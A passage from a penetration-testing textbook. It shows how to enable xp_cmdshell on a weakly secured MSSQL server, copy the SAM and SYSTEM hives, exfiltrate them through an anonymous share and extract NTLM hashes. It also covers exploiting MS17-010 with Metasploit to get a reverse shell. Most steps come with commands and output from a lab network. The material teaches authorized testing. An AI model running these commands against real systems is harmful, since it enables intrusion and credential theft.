MSSQL server by using the command mssql-cli -S 10.0.10.201 -U sa and then entering the sa password at the prompt. Telemetry --------- By default, mssql-cli collects usage data in order to improve your experience. The data is anonymous and does not include commandline argument values. The data is collected by Microsoft. Disable telemetry collection by setting environment variable MSSQL_CLI_TELEMETRY_OPTOUT to 'True' or '1'. Microsoft Privacy statement: https://privacy.microsoft.com/privacystatement Password: Version: 0.16.0 Mail: sqlcli@microsoft.com Home: http://github.com/dbcli/mssql-cli master> After typing the command to connect to the MSSQL server, you are greeted with a prompt that accepts valid SQL syntax, just as if you were sitting in front of the database administrator console on the server. The xp_cmdshell stored procedure is considered an advanced option by the MSSQL server. So, to configure the stored procedure, you first need to enable advanced options by issuing the command sp_configure 'show advanced options', '1'. Before this update will take effect, you must reconfigure the MSSQL server with the RECONFIGURE command. Listing 6.4 Connecting to the database using mssql-cli 108 CHAPTER 6 Attacking vulnerable database services master> sp_configure 'show advanced options', '1' Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install. Time: 0.256s master> RECONFIGURE Commands completed successfully. Time: 0.258s NOTE Record this in your engagement notes. This is a configuration change. You will need to reverse this change during post-engagement cleanup. Now that advanced options have been enabled, you can turn on the xp_cmdshell stored procedure by running the command sp_configure 'xp_cmdshell', '1' in your mssql-cli prompt. You need to issue the RECONFIGURE command a second time for this change to take effect as well. master> sp_configure 'xp_cmdshell', '1' Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install. Time: 0.253s master> RECONFIGURE Commands completed successfully. Time: 0.253s master> 6.1.4 Running OS commands with xp_cmdshell Now your target MSSQL server can be used as a means to run OS commands on the system that’s hosting the database server. This level of access is another example of a non-interactive shell. As with the example in the last chapter, you can’t use interactive commands that require you to respond to a prompt, but you can execute one-line commands by making a call to the master..xp_cmdshell stored procedure and pass- ing in your OS command as a string parameter. Listing 6.5 Enabling advanced options Listing 6.6 Enabling xp_cmdshell Sets the value for the show advanced options setting to 1 Reconfigures the database server with this new setting Enables the xp_cmdshell stored procedure Reconfigures the database server What about a graphical option? If you find the idea of living in a terminal prompt for 40 hours a little intimidating, I don’t blame you, although I encourage you to stick with it until it becomes comfort- able. That said, many people prefer a graphical user interface (GUI)-based method, and I won’t hold it against you if you do as well. Check out the DBeaver project at https://dbeaver.io for a Debian package you can install on your Ubuntu VM. 109 Compromising Microsoft SQL Server NOTE The exec statement requires the full absolute path to a stored proce- dure. Because the xp_cmdshell stored procedure is stored in the master data- base, you have to call the method with master..xp_cmdshell to execute the stored procedure. As always, one of your first concerns as a pentester is to determine what level of access you have on a compromised system—that is, the permission level with which the data- base server is running. To see the context for running these commands, you can issue the whoami command as follows: master> exec master..xp_cmdshell 'whoami' In this example, the database server is running with the permissions of the mssql- server service, as evidenced in the following output: +------------------------+ | output | |------------------------| | nt service\mssqlserver | | NULL | +------------------------+ (2 rows affected) Time: 0.462s master> The next thing to do is determine what level of access this account has on the target Windows server. Because it’s a service account, you cannot simply query the account group membership status with net user as you would a normal user account, but the service account will appear in any group queries it belongs to. Let’s see if this user is a member of the local administrator group. Use xp_cmdshell to run net localgroup administrators. On this server, you can see from the output in listing 6.7 that the mssqlserver service account is a local administrator on this Windows machine. master> exec master..xp_cmdshell 'net localgroup administrators' +------------------------------------------------------------------------+ | output | |------------------------------------------------------------------------| | Alias name administrators | | Comment Administrators have complete and unrestricted access | | NULL | | Members | | NULL | | ----------------------------------------------------------- | | Administrator | | CAPSULECORP\Domain Admins | | CAPSULECORP\gohanadm | | NT Service\MSSQLSERVER | | The command completed successfully. | Listing 6.7 Identifying local administrators The MSSQL service account has admin rights on the Windows machine. 110 CHAPTER 6 Attacking vulnerable database services | NULL | | NULL | +------------------------------------------------------------------------+ (13 rows affected) Time: 1.173s (a second) master> NOTE At this point, you could use this access to execute the Sticky Keys back- door from the previous chapter if you wanted to elevate to an interactive shell. Since we’ve demonstrated that technique already, there is no need to repeat it in this chapter. I would like to note, though, that for the sake of com- promising this target, elevating to an interactive shell is purely a matter of preference and not a requirement. 6.2 Stealing Windows account password hashes I want to take a moment to introduce the concept of harvesting Windows password hashes from compromised machines. In a couple of chapters, when we start talking about privilege escalation and lateral movement, you’re going to learn all about the mighty Pass-the-Hash technique and how attackers and pentesters use it to move later- ally from one vulnerable host to many due to local administrator account credentials being shared across multiple systems on an enterprise network. For now, I just want to show you what password hashes look like, where they are stored, and how to obtain them. Assuming this was a real pentest and you found noth- ing of interest in the database tables and didn’t uncover any valuable secrets from browsing the filesystem, at the very least you should capture the local user account password hashes from this system. Like many other OSs, Windows uses a cryptographic hashing function (CHF) that uses complex mathematical algorithms to map password data of arbitrary size (your password could be 12 characters long while mine is 16, and so on) to a bit string of fixed length—32 characters in the case of Microsoft Windows. The algorithm is a one-way function, meaning that even if I know the algorithm, there is no way for me to reverse the function to produce the pre-hashed string. But if that’s the case, how does Windows know if you’ve entered the correct password when you’re trying to log in to a Windows system? The answer is that Windows knows the hashed equivalent of your password. That value (the hash) is stored in the Security Accounts Manager (SAM) registry hive (at least for local accounts). DEFINITION According to Microsoft, a hive is a logical group of keys, subkeys, and values in the registry that has a set of supporting files containing backups of its data. See the Microsoft Docs page for additional details: http://mng .bz/oRKZ. Domain account password hashes are stored in an extensible storage engine database called NTDS.dit on Windows domain controllers, but that’s not important right now. 111 Stealing Windows account password hashes What’s important is that when you type your credentials to authenticate to a Windows machine (figure 6.1, A), a CHF is used to create a hash from the plain-text password string that you entered (B). That hash, along with the username you provided, is com- pared with all the entries in the user table in the SAM (C); if a matching entry is found, then you are permitted to access the system (D). It turns out that if you have local administrator access to a Windows system (which the database service account mssqlserver does), you can dump the password hashes from the SAM registry hive and use a technique known as Pass-the-Hash to authenti- cate to any Windows system that uses those credentials. This is particularly useful to a pentester because it removes the need to perform password cracking. Maybe the local administrator password is 64 characters long and contains a ran- domized sequence of lowercase letters, uppercase letters, numbers, and special char- acters. Cracking this password would be nearly impossible (at least, in the year 2020), but if you obtain the password hash, you don’t need to crack it. As far as Windows is concerned, having the password hash is just as good as having the plain-text password. With that in mind, probably one of the most useful things to do, now that you have compromised this MSSQL server, is to dump the local user account password hashes from the SAM. This can be done by using the non-interactive shell with mssql-cli and the xp_cmdshell system stored procedure. 6.2.1 Copying registry hives with reg.exe Windows registry hive files are located in the C:\Windows\System32 directory. They are protected by the OS and cannot be tampered with in any way, even by system Hashing function Username Password Login button Username Hashed password User table B. The username/password are passed to a function that produces a hashed equivalent of the password entered. C. The username and hashed password are compared to the entries in the SAM’s user table. D. If a match is found, the user is authenticated and permitted access to the Windows system. A. User types their username and password and clicks the login button. User0l User02 User03 Password hash Password hash Password hash Security accounts manager (SAM) registry hive Access denied (if hashes do not match) Access granted (if hashes match) Figure 6.1 How Windows uses password hashes to authenticate users 112 CHAPTER 6 Attacking vulnerable database services administrators. But Windows comes with a native binary executable called reg.exe, which can be used to create a copy of these registry hives. These copies can be freely used and manipulated without restriction. Use your mssql-cli shell to make a copy of the SAM and SYSTEM registry hives, and store them in the C:\windows\temp directory. The syntax for using the reg.exe com- mand to copy registry hives is reg.exe save HKLM\SAM c:\windows\temp\sam and reg.exe save HKLM\SYSTEM c:\windows\temp\sys. master> exec master..xp_cmdshell 'reg.exe save HKLM\SAM c:\windows\temp\sam' +----------+ | output | |----------| | The operation completed successfully. | | NULL | +----------+ (2 rows affected) Time: 0.457s master> exec master..xp_cmdshell 'reg.exe save HKLM\SYSTEM c:\windows\temp\sys' +----------+ | output | |----------| | The operation completed successfully. | | NULL | +----------+ (2 rows affected) Time: 0.457s master> Listing 6.8 Using reg.exe to save registry hive copies Saves a copy of the SAM registry hive to c:\windows\temp\sam Saves a copy of the SYS registry hive to c:\windows\temp\sys Why copy the SYSTEM registry hive? Up until now, I’ve only mentioned the SAM registry hive because that is the one that stores the user’s password hashes. However, to obtain them from the SAM, you also need to extract two secret keys—the syskey and the bootkey—from the SYSTEM reg- istry hive. The details of this process are documented in numerous blog posts and white papers. It isn’t necessary for you to understand it completely, but if you are interested and want to learn more, I recommend beginning with the source code to the cred- dump Python framework located at https://github.com/moyix/creddump. For obvious reasons, there is no official documentation from Microsoft called “how to extract password hashes from the SAM.” But if you follow the source code from the creddump project, you can see exactly how it’s done and why the bootkey and syskey are required. From a practical viewpoint, all you have to know as a pentester is that you need a valid copy of the SYSTEM and SAM registry hives. These are required in order to dump hashes for local user accounts on a Windows machine. 113 Stealing Windows account password hashes Now you can take a look at the contents of the temp directory by running dir c:\windows\temp from your mssql-cli command prompt. There will be a file named sam and a file named sys, which are the non-protected copies of the SAM and SYSTEM registry hives you just created. master> exec master..xp_cmdshell 'dir c:\windows\temp' +-------------------------------------------------------------------+ | output | |-------------------------------------------------------------------| | Volume in drive C has no label. | | Volume Serial Number is 1CC3-8897 | | NULL | | Directory of c:\windows\temp | | NULL | | 09/17/2019 12:31 PM <DIR> . | | 09/17/2019 12:31 PM <DIR> .. | | 05/08/2019 09:17 AM 957 ASPNETSetup_00000.log | | 05/08/2019 09:17 AM 959 ASPNETSetup_00001.log | | 01/31/2019 10:18 AM 0 DMI4BD0.tmp | | 09/17/2019 12:28 PM 529,770 MpCmdRun.log | | 09/17/2019 12:18 PM 650,314 MpSigStub.log | | 09/17/2019 12:30 PM 57,344 sam | | 09/17/2019 12:09 PM 102 silconfig.log | | 09/17/2019 12:31 PM 14,413,824 sys | | 8 File(s) 15,653,270 bytes | | 3 Dir(s) 11,515,486,208 bytes free | | NULL | +-------------------------------------------------------------------+ (19 rows affected) Time: 0.457s master> NOTE Record the location of these files in your engagement notes. They are miscellaneous files that will need to be removed during post-engagement cleanup. 6.2.2 Downloading registry hive copies You’ve created non-protected copies of the SYSTEM and SAM registry hives. Now what? How do you extract the password hashes from them? It turns out there are at least a dozen (probably more) tools you can use. Most of them, however, are likely to be detected by the antivirus software that you should always assume your target Windows system is running. This is why I prefer to download the hive copies to my attacking machine, where I’m free to use whatever tools I want to extract the hashes from them. Depending on what is available to you from the machine you’ve compromised, there may be several different methods to download files from a compromised target. In this example, I’m Listing 6.9 Listing the contents of the c:\windows\temp directory The SAM copy you just created The SYSTEM copy you just created 114 CHAPTER 6 Attacking vulnerable database services going to do what I find easiest in many cases: create a temporary network share using the command-line access I have from the vulnerable MSSQL server. For this to work, you’ll run three separate commands using the mssql-cli shell. The first two commands use the cacls command to modify the permissions of the SAM and SYS registry hive copy files that you just created and allow full access to the Everyone group. The third command creates a network file share pointing to the c:\windows\temp directory, which is accessible anonymously by all users. Run the fol- lowing commands one at a time using mssql-cli. master> exec master..xp_cmdshell 'cacls c:\windows\temp\sam /E /G "Everyone":F' master> exec master..xp_cmdshell 'cacls c:\windows\temp\sys /E /G "Everyone":F' master> exec master..xp_cmdshell 'net share pentest=c:\windows\temp /GRANT:"Anonymous Logon,FULL" /GRANT:"Everyone,FULL"' +----------------------------------+ | output | |----------------------------------| | pentest was shared successfully. | | NULL | | NULL | +----------------------------------+ (3 rows affected) Time: 1.019s (a second) master> Now you can exit the mssql-cli shell by typing exit. Connect to the network share using the smbclient command from your terminal command prompt. The syntax of the smbclient command is smbclient \\\\10.0.10.201\\pentest -U "" where the two empty quotation marks specify an empty user account for anonymous logon. When you are prompted to enter the password of the anonymous user, press the Enter key to not enter a password. Once you are connected, you can download the SAM and SYS registry hive copies using the get sam and get sys commands, as follows. ~$ smbclient \\\\10.0.10.201\\pentest -U "" WARNING: The "syslog" option is deprecated Enter WORKGROUP\'s password: Try "help" to get a list of possible commands. smb: \> get sam getting file \sam of size 57344 as sam (2800.0 KiloBytes/sec) (average 2800.0 KiloBytes/sec) smb: \> get sys getting file \sys of size 14413824 as sys (46000.0 KiloBytes/sec) (average 43349.7 KiloBytes/sec) smb: \> Listing 6.10 Preparing the network share using mssql-cli Listing 6.11 Using smbclient to download SYS and SAM Changes access controls on the sam hive copy Changes access controls on the sys hive copy Creates an anonymously accessible network share Connects to the network share anonymously Press Enter without entering a password. Downloads the SAM file Downloads the SYS file 115 Extracting password hashes with creddump TIP Always be sure to clean up after yourself. As an attacker, you’ve just cre- ated non-protected copies of the SYSTEM and SAM registry hives and also set up an anonymous network share to download them. As a professional consul- tant, you don’t want to leave your client unnecessarily exposed. Make sure you go back into the system and delete the SYS and SAM copies from the c:\windows\temp directory and also get rid of the network share you created using the net share pentest /delete command. 6.3 Extracting password hashes with creddump Many tools and frameworks exist that allow you to extract password hashes from cop- ies of the SYSTEM and SAM registry hives. The first tool I ever used was a tool called fgdump. Some of these tools are Windows executables that can be run directly from a compromised host, but that convenience comes at a cost. As I mentioned, most will flag antivirus engines. If any portion of your engagement scope mentions attempting to remain stealthy and undetected, then uploading any foreign binary, let alone a known hacker tool, is a risky move, which is precisely why we have chosen to perform this operation off of the victim machine. Because you’re using a Linux platform, and also because it’s one of my favorite tools for this particular task, you’re going to use the creddump Python framework to harvest the goodies you’re after from the SYSTEM and SAM registry hives. Install the creddump framework by cloning the source code repository from your Ubuntu termi- nal using git clone https://github.com/moyix/creddump.git. ~$ git clone https://github.com/moyix/creddump.git Cloning into 'creddump'... remote: Enumerating objects: 27, done. remote: Total 27 (delta 0), reused 0 (delta 0), pack-reused 27 Unpacking objects: 100% (27/27), done. Now change into the creddump directory with the command cd creddump. Once in this directory, you’ll see a couple of different Python scripts, which you don’t need to look at right now. You’re interested in the pwdump.py script. This script handles all the magic necessary to extract password hashes from the two registry hive copies. The pwdump.py script is executable and can be run with ./pwdump /path/to/sys/hive /path/to/sam/hive. In this example, three user accounts are extracted: the Adminis- trator, Guest, and DefaultAccount accounts. ~$ ./pwdump.py ../sys ../sam Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7 ➥ e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d ➥ 7e0c089c0::: Listing 6.12 Cloning the creddump source code repository Listing 6.13 Using pwdump to extract local user account password hashes Use git to pull down the latest version of the code. Use pwdump to extract password hashes. 116 CHAPTER 6 Attacking vulnerable database services 6.3.1 Understanding pwdump’s output If this is your first time looking at Windows account password hashes, they might be a bit confusing. Once you understand the various pieces of information, though, they will be clear. Each account displayed from the pwdump script appears on a new line, and each line contains four pieces of information separated by colons:  The username (Administrator)  The user ID for that account (500)  The LM hash, for legacy Windows systems (aad3b435b51404eeaad3b435b514- 04ee)  The NTLM hash, which is the one you’re interested in as an attacker (31d6cfe0d16ae931b73c59d7e0c089c0) Store these hashes in your notes, and be sure to repeat this exercise for every level-one host you compromise during the focused-penetration phase. When we move on to privilege-escalation, you’re going to learn to use the Pass-the-Hash technique to spread to level-two systems. These are hosts that don’t necessarily contain a direct access vulnerability, but they share the local administrator account credentials with one of the level-one hosts you’ve already compromised. Exercise 6.1: Stealing the SYSTEM and SAM registry hives Compromise the Gohan server by accessing the MSSQL console with the weak sa account password, and activate xp_cmdshell. Use reg.exe to create copies of the SYSTEM and SAM registry hives. Place the copies in the C:\windows\temp directory, and share the directory anonymously. Download the registry hive copies to your attacking machine, and extract the local user account password hashes using pwdump.py. How many local user accounts are on this server? The answer to this exercise can be found in appendix E. What are LM Hashes? Microsoft’s first attempt at hashes was called LAN Manager or LM hashes. These hashes contained major security flaws that made it incredibly easy to crack them and obtain the plain-text password. So, Microsoft created the New Technology LAN Man- ager (NTLM) hash, which has been used since the days of Windows XP. All versions of Windows since then have disabled the use of LM hashes by default. In fact, in our example of dumped password hashes, you’ll notice that all three accounts have the same value in the LM hash section: “aad3b435b51404eeaad3b435b51404ee.” If you Google this string, you will get many results, because this is the LM hash equiv- alent of an empty string (“”). I don’t discuss or use LM hashes in this book, and you probably will not uncover a modern enterprise network that still uses them. 117 Summary Summary  Database services can be a reliable means of compromising network hosts and are often paired with a web service.  Microsoft SQL Server services are particularly useful to an attacker because of the xp_cmdshell system stored procedure.  Windows systems store password hashes for local user accounts in the SAM reg- istry hive.  After compromising a level-one host (if it’s Windows-based), you should always extract the local user account password hashes.  Creating SYSTEM and SAM copies with reg.exe allow you to take the hash- extraction process off the victim machine, reducing the likelihood of generat- ing an antivirus alert on the victim machine. 118 Attacking unpatched services Before moving on, let’s take a moment to revisit our friends, the Hollywood movie heist crew, who are by now getting pretty deep into their target facility. The crew has just reached a new floor in the complex, and they’re staring down a long hall- way with doors on either side: red doors on the left (Linux and UNIX systems) and blue doors on the right (Windows systems). As expected, all of the doors are locked using sophisticated keycard access control panels. The crew’s keycard door lock specialist (let’s pretend that’s a real thing) deter- mines that the panels have an older model card reader—and this particular model has a design flaw that can be used to bypass the locking mechanism. The details of This chapter covers  The exploit development life cycle  MS17-010: Eternal Blue  Using Metasploit to exploit an unpatched system  Using the Meterpreter shell payload  Generating custom shellcode for Exploit-DB exploits 119 Understanding software exploits the bypass aren’t important; but if you need to visualize something to appreciate the scenario, imagine that there are eight tiny holes on the bottom of the card reader, and if you poke a bent paper clip into two specific holes at just the right angle and apply pressure in just the right way, the door unlocks. The panel manufacture was made aware of this design flaw and has since addressed the issue in the latest model’s design, but replacing all the door locks in a large facility can be very expensive. Instead, the building managers installed an adapter plate that securely attaches to the panel and blocks access to the two holes. The only way to remove the plate would be to physically break the device, which would most likely set off an alarm. Luckily, when the team inspects each door and its respec- tive keycard control panel, they identify a single door that is missing the adapter. Because this one door is essentially unpatched, the crew is more or less able to walk right in—presuming, of course, that they possess a carefully bent paperclip. I admit, this hypothetical movie plot is starting to become a bit unreasonable. It certainly doesn’t make for an entertaining break-in if all the “bad guys” have to do is bend a paper clip and stick it into two holes to access a top-secret facility. It almost seems too good to be true that they would stumble on a door that might as well be unlocked because the knowledge of this bypass technique is commonly known (among thieves, at least). The only reasonable explanation for the presence of this seemingly unlocked door in an otherwise secured facility is that the maintenance team missed it when they were fixing (patching) all the other doors by installing the adapter on the keycard locking mechanisms. Maybe the company in charge of the building’s security contracted out the panel upgrades to a third party that cut corners and hired cheap labor to do the job. Somebody was trying to get home early and rushed through the work, acciden- tally missing one of the doors. That happens all the time in enterprise networks when it comes to applying critical security updates to computer systems. Plus, as mentioned in chapter 1, companies are often missing an accurate, up-to-date asset catalog with details of every computer device on the network, so when a critical patch comes out and everyone is rushing to update all their systems, it’s not uncommon for one or more to slip through the cracks. 7.1 Understanding software exploits Unpatched services are missing updates that provide fixes for what most people refer to as software bugs. These bugs can sometimes be used by an attacker to compromise the affected service and take control of the host-level OS. Loosely defined, a software bug is any piece of code that fails to operate as intended when an unpredicted input is passed to a given function. If the software bug causes the application or service to crash (quit working), then it may be possible to hijack the application’s execution flow and execute arbitrary machine language instructions on the computer system run- ning the vulnerable application. 120 CHAPTER 7 Attacking unpatched services The process of writing a small computer program (an exploit) to take advantage of a software bug in such a way that it produces remote code execution is typically referred to as software exploitation or exploit development. This chapter does not cover the details of developing a software exploit as it is an advanced topic, to say the least, and is outside the scope of this text. Still, it is important to understand the concepts involved in software exploitation to better grasp how you can use publicly available exploits on an internal network penetration test (INPT). If you want to learn more about exploit development, I strongly recommend that you pick up a copy of Hacking: The Art of Exploitation by Jon Erickson (No Starch Press, 2nd ed. 2008). In the pages that follow, you’ll learn the high-level details of a famous software bug affecting Microsoft Windows systems: MS17-010, codenamed Eternal Blue. I will also demonstrate how to use a publicly available open source exploit module within the Metasploit framework to take control of a vulnerable system that is missing the patch for this software bug. You will learn the difference between a bind and a reverse shell payload and become acquainted with a powerful exploit payload called the Meter- preter shell. 7.2 Understanding the typical exploit life cycle How do software bugs and exploits come to exist in the first place? Maybe you’ve heard about Patch Tuesday, when new Microsoft Windows patches come out. How are those patches developed, and why? The answer can vary, but generally speaking, in the instance of security-related updates, events usually happen in the following order. First, an independent security researcher who wouldn’t mind in the least if you referred to him as a hacker (that’s probably how he refers to himself) performs rigor- ous stress testing and discovers an exploitable software bug in a commercial software product like Microsoft Windows. Exploitable means not only that the bug causes a crash but also that the hacker can provide data to the application in such a way that once the crash is triggered, key areas of the program’s virtual memory space can be overwritten with specific instructions to control the execution flow of the vulnerable software. The hacker in our example is more or less a “good guy.” After polishing the working exploit to fully demonstrate the severity of the bug, he chooses to responsibly disclose Bugs are discovered, not created Security bugs exist in all computer programs. This is due to the nature of how soft- ware is developed rapidly by companies with the intention of hitting shareholder- driven deadlines and profit targets. Security is often an afterthought. Hackers do not create bugs or introduce them into software. Instead, through various forms of reverse engineering and also stress testing, sometimes called fuzzing, hack- ers discover or identify bugs that were unintentionally placed there by software devel- opers who were working around the clock to hit their release date. 121 Compromising MS17-010 with Metasploit the vulnerability to the vendor that created the software. In the case of Eternal Blue, the vendor is, of course, the Microsoft Corporation. NOTE In some cases, a researcher may be handsomely rewarded financially for disclosing a vulnerability. The reward is called a bug bounty. An entire com- munity of freelance hackers (bug bounty hunters) spend their careers discov- ering, exploiting and then disclosing software bugs and collecting bounties from vendors. If this is something you are interested in learning more about, you should check out two of the most popular freelance bug bounty pro- grams: https:/hackerone.com and https://bugcrowd.com. When Microsoft receives the initial bug disclosure and a proof-of-concept (PoC) exploit from the security researcher, it has its own internal research team investigate the bug to be sure it is legitimate. If the bug is verified, Microsoft creates a security advisory and issues a patch that customers can download and use to fix the vulnerable software. The Eternal Blue bug was disclosed in 2017 and was the tenth verified bug to receive a patch that year. As such, following Microsoft’s naming convention, the patch (and later the publicly available exploit) will be forever known as MS17-010. Once the patch is released to the public, it becomes publicly available knowledge. Even if Microsoft tries to limit the information provided in the advisory, the patch can be downloaded and analyzed by security researchers to determine which code is being fixed and thus what code is vulnerable to software exploitation. Not long after that, an open source exploit (or 10) usually becomes available to the public. This is enough information to move forward with the chapter; however, if you would like to learn specific details about MS17-010, including the technical details of the software bug, the patch, and how the exploit works, I encourage you to start by watching a great talk from Defcon 26 called “Demystifying MS17 010: Reverse Engi- neering the ETERNAL Exploits” presented by a hacker by the name of zerosum0x0. You can watch it at https://www.youtube.com/watch?v=HsievGJQG0w. 7.3 Compromising MS17-010 with Metasploit The conditions necessary to successfully use an exploit to gain a remote shell vary in complexity depending on the type of software that is vulnerable and the nature of the bug being exploited. Again, I’m not going to dive too deep into the process of exploit development or the intricate details of different types of software bugs, buffer over- flows, heap overflows, race conditions, and so forth. I do want to point out, though, that different types of software vulnerabilities need to be exploited in different ways. Some are easier than others; as attackers, we are most interested in exploits that require the least amount of interaction from the target machine. For example, a bug in Microsoft Word may require you to convince a victim to open a malicious document and click Yes at a prompt that asks to run a malicious macro, which then triggers the exploit. This requires user interaction and thus is less ideal for an attacker, especially one who is attempting to remain undetected. From an 122 CHAPTER 7 Attacking unpatched services attacker’s perspective, the ultimate exploitable bugs affect passively listening software services and require no user interaction to exploit. MS17-010 is precisely that type of bug because it affects the Microsoft Windows CIFFS/SMB service that listens by default on TCP port 445 on all domain-joined Win- dows systems. Reliably exploitable bugs on passively listening Windows services are rare, and as a result, you can usually expect to see tons of blog posts and a working Metasploit module shortly after Microsoft releases a patch. To illustrate what a rare gem MS17-010 is, the last equivalent bug to hit Windows systems was released nine years earlier, in 2008: MS08-067, which was used in the highly publicized Conficker Worm. 7.3.1 Verifying that the patch is missing Now that you are familiar with how valuable MS17-010 is from an attacker’s perspective, let’s get back to the discussion of exploiting the missing patch and gaining a shell on the vulnerable target. As a recap from chapter 4 on discovering network vulnerabilities, a vulnerable host was identified as missing the MS17-010 patch by using the auxiliary mod- ule from Metasploit. Here is a reminder of how that was discovered: launch the msfcon- sole, navigate to the auxiliary scan module by typing use auxiliary/scanner/smb/ smb_ms17_010 at the prompt, set the target rhosts value with set rhosts 10.0.10.227, and type run to run the module. msf5 > use auxiliary/scanner/smb/smb_ms17_010 msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 10.0.10.227 rhosts => 10.0.10.227 msf5 auxiliary(scanner/smb/smb_ms17_010) > run [+] 10.0.10.227:445 - Host is likely VULNERABLE to MS17-010! – Windows Server (R) 2008 Enterprise 6001 Service Pack 1 x86 (32-bit) [*] 10.0.10.227:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf5 auxiliary(scanner/smb/smb_ms17_010) > The output from the module confirms that the host is probably missing the patch and is therefore likely vulnerable to the exploit module, which can be used to compromise the target system and obtain a reverse shell command prompt to control the OS. The only way to know for sure would be to try the exploit module. If you’re wondering why the exploit author chose to word the detection as “likely vulnerable,” it’s simply because there are rare cases when a patch was partially installed and failed midway through, causing the service to appear vulnerable when it is not. This doesn’t happen often; if the module says the host is “likely vulnerable,” that’s because it is likely vulnerable, which is to say that it probably is vulnerable. As a pentester, you have to be confident, so you’ll need to run the exploit module to verify. Since you’ll be using a reverse shell payload for this attack vector, you need to know what your IP address is on the target network. Metasploit will then tell the victim Listing 7.1 Verifying the target is exploitable 123 Compromising MS17-010 with Metasploit machine what your IP address is when it launches the payload via the exploit so the target system can connect back to your attacking machine. OS commands can be run directly from within the msfconsole, so there is no need to exit the console to check your IP address. If I run the ifconfig command, it tells me that my IP address is 10.0.10.160; this will, of course, be different for you depend- ing on your network configuration. msf5 auxiliary(scanner/smb/smb_ms17_010) > ifconfig [*] exec: ifconfig ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 10.0.10.160 netmask 255.255.255.0 broadcast 10.0.10.255 inet6 fe80::3031:8db3:ebcd:1ddf prefixlen 64 scopeid 0x20<link> ether 00:0c:29:d8:0f:f2 txqueuelen 1000 (Ethernet) RX packets 1402392 bytes 980983128 (980.9 MB) RX errors 0 dropped 1 overruns 0 frame 0 TX packets 257980 bytes 21886543 (21.8 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 210298 bytes 66437974 (66.4 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 210298 bytes 66437974 (66.4 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 msf5 auxiliary(scanner/smb/smb_ms17_010) > Once you have your IP address, you can load the MS17-010 exploit module. Do this by typing use exploit/windows/smb/ms17_010_psexec. You’ll notice that the module begins with exploit instead of auxiliary. Exploit modules have a few different options than the auxiliary modules we’ve used so far throughout this book. Because this is an exploit module, you have to specify an additional parameter: the payload you want to execute on the vulnerable host. Listing 7.2 Checking for the localhost IP address Why a reverse shell? Every exploit requires a payload to be executed on the target system once the vulner- ability is triggered. Payloads are almost always some type of command-line interface to the target. At a high level, your payload can be either a bind payload, which opens a network port on the target machine for you to connect to and receive your shell, or a reverse payload, which connects back to your attacking machine. In general, pen- testers prefer a reverse shell payload because it gives them more control over the server listening for connections and is therefore more reliable in practice. The IP address of my Linux attacking machine 124 CHAPTER 7 Attacking unpatched services 7.3.2 Using the ms17_010_psexec exploit module First, tell Metasploit which host you’re targeting with set rhost 10.0.10.208. This should be the IP address of the vulnerable Windows server. Then tell the module which payload you’re going to use. You’ll use a simple reverse TCP shell for starters: type set payload windows/x64/shell/reverse_tcp. Because this is a reverse pay- load, you need to specify a new variable called lhost for localhost. This is the IP address that the target server will connect back to, to receive the payload. So, I’ll type set lhost 10.0.10.160. You would type the same command, but change the IP address to the one matching your attacking machine. Now you can launch the exploit module simply by typing the exploit command. When it’s finished, you will be greeted with a familiar Windows command prompt. msf5 > use exploit/windows/smb/ms17_010_psexec msf5 exploit(windows/smb/ms17_010_psexec) > set rhost 10.0.10.208 rhost => 10.0.10.208 msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows/x64/shell/reverse_tcp payload => windows/x64/shell/reverse_tcp msf5 exploit(windows/smb/ms17_010_psexec) > set lhost 10.0.10.160 lhost => 10.0.10.160 msf5 exploit(windows/smb/ms17_010_psexec) > exploit [*] Started reverse TCP handler on 10.0.10.160:4444 [*] 10.0.10.208:445 - Target OS: Windows 7 Professional 7601 Service Pack 1 [*] 10.0.10.208:445 - Built a write-what-where primitive... [+] 10.0.10.208:445 - Overwrite complete... SYSTEM session obtained! [*] 10.0.10.208:445 - Selecting PowerShell target [*] 10.0.10.208:445 - Executing the payload... [+] 10.0.10.208:445 - Service start timed out, OK if running a command or non-service executable... [*] Sending stage (336 bytes) to 10.0.10.208 [*] Command shell session 1 opened (10.0.10.160:4444 -> 10.0.10.208:49163) at 2019-10-08 15:34:45 -0500 C:\Windows\system32>ipconfig ipconfig Windows IP Configuration Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::9458:324b:1877:4254%11 IPv4 Address. . . . . . . . . . . : 10.0.10.208 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.0.10.1 Listing 7.3 Using the MS17-010 exploit module 125 The Meterpreter shell payload Tunnel adapter isatap.{4CA7144D-5087-46A9-8DC2-1BE5E36C53BB}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : C:\Windows\system32> WARNING No matter how stable the exploit, systems can and do sometimes crash. You should use extreme caution when performing an exploit against a production system while doing an INTP. As a rule of practice, you should notify your client contact before doing so. No need to alarm them; just say that you’ve identified a directly exploitable vulnerability and need to make sure the host is in fact vulnerable. There is a greater-than-0% chance that the exploit could cause the system to crash. In the case of MS17-010, in the worst-case scenario where the system does crash, the system will usually reboot automatically. 7.4 The Meterpreter shell payload The next step after compromising vulnerable systems would be to harvest valuable information from this compromised target, such as the local user account password hashes, as we did in the previous chapter. But as I have shown you, this process can be a little tedious, to say the least, because there is currently no way to download files directly from the compromised target. Rather than use the previously demonstrated technique of creating SYSTEM and SAM registry hive copies, opening an insecure file share, and connecting to it from your attacking machine, I’d like to take this opportunity to introduce you to a more robust reverse shell than an ordinary Windows command 